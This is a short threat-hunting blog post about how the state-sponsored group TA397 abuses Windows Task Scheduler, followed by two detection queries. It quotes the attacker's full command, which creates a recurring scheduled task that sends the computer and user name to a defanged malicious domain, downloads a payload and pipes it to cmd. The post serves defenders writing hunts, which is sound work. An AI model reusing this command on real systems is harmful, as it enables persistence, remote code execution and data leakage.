158. Here's How TA397 Abuses Task Scheduler

Hello everyone!

Proofpoint in collaboration with Threatray released a report on TA397 activities. Threat researchers assess that it's a state-sponsored adversary with focus on intelligence gathering.

The threat actors actively abused task scheduler. A very common technique, but the command seemed interesting to me:

"C:\\Windows\\System32\\conhost.exe" --headless cmd /c ping 

localhost > nul & schtasks /create /tn "EdgeTaskUI" /f /sc 

minute /mo 16 /tr "conhost --headless powershell -WindowStyle 

Minimized irm "woodstocktutors[.]com/jbc.php?

fv=$env:COMPUTERNAME*$env:USERNAME" -OutFile 

"C:\\Users\\public\\kwe.cc"; Get-Content 

"C:\\Users\\public\\kwe.cc" | cmd"

Fisrt of all, the adversary extensively uses conhost.exe in "headless" mode, I'm sure you already have this hunt in your library:

event_type: "processcreatewin"

AND

proc_file_name: "conhost.exe"

AND

cmdline: "headless"

But more interesting is how the threat actors abused PowerShell. As you can see in the script, it downloads the payload from a remote server, reads its contents and pipes it to Windows Command Shell. And yes, we can use it for hunting:

event_type: "processcreatewin"

AND

proc_file_name: "powershell.exe"

AND

cmdline: ("get-content" AND "cmd")

See you tomorrow!

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